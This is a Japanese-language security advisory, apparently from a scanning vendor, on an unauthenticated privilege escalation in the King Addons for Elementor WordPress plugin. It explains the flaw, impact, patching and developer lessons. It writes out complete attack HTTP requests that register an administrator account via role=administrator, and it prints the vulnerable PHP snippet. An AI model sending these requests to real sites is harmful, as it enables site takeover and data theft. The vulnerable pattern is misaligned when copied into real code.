CVSS 9.8Critical

CVE-2025-8489: King Addons for Elementorの未認証権限昇格

概要

  • CVE: CVE-2025-8489
  • プラグイン: King Addons for Elementor
  • 影響バージョン: 24.12.92 〜 51.1.14
  • 修正バージョン: 51.1.35
  • CVSS: 9.8 (Critical)
  • 認証: 不要(未認証で攻撃可能)
  • 種別: 権限昇格(ユーザー登録時の任意ロール指定)
  • アクティブインストール数: 約1万件
  • 悪用状況: 確認済み。2025年11月9日より大規模悪用が開始。Wordfenceは48,400件超のブロックを記録。MetasploitモジュールがPR #20746として公開。

King Addons for Elementorのユーザー登録フローに、未認証の攻撃者が管理者権限アカウントを自由に作成できる致命的な脆弱性が発見されました。攻撃の実行に必要なのはHTTPリクエストにrole=administratorを1行追加するだけという、特筆すべき単純さです。悪用を自動化するMetasploitモジュールが公開されており、2025年12月まで継続的な大規模攻撃が確認されていました。

何が起きたか

King Addons for ElementorはElementorページビルダー向けの拡張プラグインで、追加ウィジェット、テンプレート、フォーム機能など多岐にわたる機能を提供します。その機能の一つとして、フロントエンドからのカスタムユーザー登録フォームをサポートしていました。

脆弱性の根本原因は、このユーザー登録処理にあります。新規ユーザーを作成する際、プラグインはリクエストボディに含まれるパラメータをそのままWordPressのwp_insert_user()関数に渡していました。その中にroleパラメータが含まれており、サーバー側で一切バリデーションが行われていませんでした

通常、WordPressの登録フローでは新規ユーザーに割り当てるロールは管理者が設定した固定値(一般的にはsubscriber)に制限されます。しかしKing Addonsの実装では、クライアントから送信された任意の文字列がそのままロールとして受け入れられていました。

攻撃者が登録リクエストにrole=administratorと書くだけで、WordPressはその指示を信頼し、管理者権限を持つアカウントを作成してしまいます。認証不要、事前知識不要、特殊なツール不要、技術的な難易度は事実上ゼロです。

攻撃の仕組み

攻撃はシングルHTTPリクエストで完結します。以下に実際の攻撃リクエストの例を示します。

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-site.com
Content-Type: application/x-www-form-urlencoded

action=king_register_user&user_login=attacker&user_email=attacker%40evil.com&user_pass=P%40ssw0rd123&role=administrator

または、King Addonsが設置したフロントエンド登録フォームのエンドポイントに対して直接送信する形式も観測されています。

POST /register/ HTTP/1.1
Host: target-site.com
Content-Type: application/x-www-form-urlencoded

user_login=attacker&user_email=attacker%40evil.com&user_pass=P%40ssw0rd123&role=administrator&_wpnonce=...

サーバー側の処理は次のような単純なフローです。

// 脆弱なコードのイメージ(修正前)
$user_data = array(
    'user_login' => sanitize_user( $_POST['user_login'] ),
    'user_email' => sanitize_email( $_POST['user_email'] ),
    'user_pass'  => $_POST['user_pass'],
    'role'       => $_POST['role'], // ← バリデーションなし
);
$user_id = wp_insert_user( $user_data );

wp_insert_user()はWordPressコアの関数であり、渡されたロールが有効なロール名であればそのまま処理します。プラグインがroleの値を制限しなかったため、WordPressコアの視点では正当なリクエストとして扱われます。

この攻撃のシンプルさがMetasploitへのモジュール収録(PR #20746)を招きました。Metasploitは世界中のセキュリティテスターや攻撃者が使用するフレームワークであり、そこへの収録は「技術知識ゼロでも攻撃が自動実行できる状態」を意味します。大規模スキャンと自動エクスプロイトを組み合わせた攻撃ツールが、2025年11月9日以降活発に使用されていました。

実際の被害

Wordfenceのデータによると、2025年11月9日の悪用開始から短期間で48,400件超のエクスプロイト試行がブロックされました。この数字はWordfenceのファイアウォールに守られていたサイトへの攻撃であり、WAFを導入していないサイトへの攻撃は計上されていません。実際の攻撃試行総数はこれをはるかに上回ると推定されます。

管理者権限を奪取した攻撃者が実行できる操作:

  • バックドアPHPファイルのアップロードによる持続的アクセスの確立(プラグインを更新・削除しても残存)
  • サイト全コンテンツの改ざん・削除
  • 登録ユーザーの個人情報・メールアドレス・ハッシュ化パスワードの窃取
  • WooCommerceが導入されている場合、顧客の注文情報・決済情報へのアクセス
  • マルウェアの埋め込みによるサイト訪問者への二次被害(ドライブバイダウンロード)
  • サイトを踏み台にしたC2サーバーへの接続・他サイトへの攻撃

特に危険なのは攻撃の隠蔽性です。通常のユーザー登録フローを悪用しているため、アクセスログには普通のPOSTリクエストとして記録されます。管理者が自分のサイトのユーザーリストを定期確認していなければ、侵害を長期間気づかずにいる可能性があります。

2025年12月時点でも継続的な攻撃が確認されており、修正バージョン(51.1.35)が公開された後も古いバージョンを使用し続けているサイトへの攻撃が続いていました。

修正と教訓

修正方法: King Addons for Elementorをバージョン51.1.35以降に更新することで本脆弱性は解消されます。修正版では、ユーザー登録時に割り当て可能なロールをサーバー側でsubscriberなどの安全なデフォルト値に固定し、フロントエンドからのロール指定を完全に無効化するよう変更されました。

即時対応チェックリスト:

  1. プラグインをバージョン51.1.35以降に更新する
  2. WordPressの管理画面「ユーザー」から、不審なAdministratorアカウントがないか確認する
  3. 見覚えのない管理者アカウントが存在する場合、直ちに削除し、そのIPアドレスをサーバーログで調査する
  4. wp-content/uploads/以下に.phpファイルが設置されていないか確認する(バックドアの典型的な設置場所)
  5. テーマファイル・プラグインファイルへの不審な変更がないか確認する

開発上の教訓:

  1. ロールはサーバー側で固定する: ユーザー登録機能において、新規ユーザーに割り当てるロールはコード内に定数として定義し、リクエストから一切受け取らない。クライアントが自分のロールを決定できる設計は根本的に誤りである。

  2. 入力値のホワイトリスト検証: ロールのように有限な選択肢しかない値は、受け入れ可能な値を明示的に列挙したホワイトリストで検証し、それ以外を拒否する。in_array($role, ['subscriber', 'contributor'], true)のような1行で防げた脆弱性。

  3. フロントエンドの登録フォームは最高リスクの攻撃面: 未認証ユーザーが直接操作できるフォームは、特に厳格な入力検証が必要。権限に関わるフィールドは絶対にフロントエンドに公開しない。

  4. MetasploitモジュールはCVSSスコア以上の緊急性を示す: Metasploitへの収録は脆弱性が完全に武器化されたことを意味し、対応期限は「なるべく早く」ではなく「今日中」になる。

Nyambushでの検出

NyambushはWordPressサイトをスキャンし、インストールされているプラグインとそのバージョンを検出します。King Addons for Elementorのバージョンが51.1.34以前(影響バージョン51.1.14以前、ただし24.12.92以上)と判断された場合、CVE-2025-8489として Critical 深刻度の警告を表示します。

Metasploitモジュールが存在する脆弱性は、自動化された大規模攻撃の対象になる確率が格段に高くなります。Nyambushの継続監視を設定することで、このような高リスクの脆弱性を持つプラグインが検出された際に即時アラートを受け取ることができます。発見から攻撃開始まで数時間以内という現実を踏まえると、週次・月次のチェックでは対応が間に合わないケースが増えています。自動スキャンによる早期検出と速やかな更新適用の組み合わせが、唯一現実的な防御策です。

この記事をシェア:Xでポスト

あなたのドメインは安全ですか?

Nyambushで今すぐ無料スキャンして、セキュリティリスクをチェックしましょう。